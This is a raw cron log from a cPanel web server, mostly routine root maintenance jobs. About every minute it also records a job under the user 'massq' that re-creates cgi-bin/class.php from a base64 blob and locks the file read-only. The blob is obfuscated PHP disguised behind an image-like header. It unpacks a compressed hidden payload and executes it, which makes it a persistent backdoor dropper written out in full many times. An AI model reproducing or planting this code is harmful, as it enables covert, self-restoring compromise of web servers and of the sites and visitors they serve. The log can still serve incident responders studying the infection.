Sep  6 21:22:01 server CROND[27938]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 21:23:01 server CROND[28303]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 21:23:01 server CROND[28304]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 21:23:01 server CROND[28305]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 21:24:01 server CROND[28673]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 21:24:01 server CROND[28674]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 21:24:01 server CROND[28675]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 21:25:01 server CROND[29046]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 21:25:01 server CROND[29048]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 21:25:01 server CROND[29050]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 21:25:01 server CROND[29051]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 21:25:01 server CROND[29049]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  6 21:25:01 server CROND[29053]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  6 21:25:01 server CROND[29052]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 21:26:01 server CROND[29971]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 21:26:01 server CROND[29972]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 21:26:01 server CROND[29975]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 21:27:01 server CROND[30354]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 21:27:01 server CROND[30355]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 21:27:01 server CROND[30356]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 21:27:01 server CROND[30357]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  6 21:28:01 server CROND[30735]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 21:28:01 server CROND[30736]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 21:28:01 server CROND[30737]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 21:29:01 server CROND[31101]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 21:29:01 server CROND[31102]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 21:29:01 server CROND[31103]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 21:30:01 server CROND[31485]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  6 21:30:01 server CROND[31488]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 21:30:01 server CROND[31492]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 21:30:01 server CROND[31491]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 21:30:01 server CROND[31494]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 21:30:01 server CROND[31493]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  6 21:30:01 server CROND[31490]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  6 21:30:01 server CROND[31496]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 21:31:01 server CROND[556]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 21:31:01 server CROND[557]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 21:31:01 server CROND[558]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 21:32:01 server CROND[954]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 21:32:01 server CROND[955]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 21:32:01 server CROND[956]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 21:33:01 server CROND[1434]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 21:33:01 server CROND[1435]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 21:33:01 server CROND[1436]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 21:34:01 server CROND[1786]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 21:34:01 server CROND[1785]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 21:34:01 server CROND[1788]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 21:35:01 server CROND[2198]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  6 21:35:01 server CROND[2199]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  6 21:35:01 server CROND[2208]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 21:35:01 server CROND[2219]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
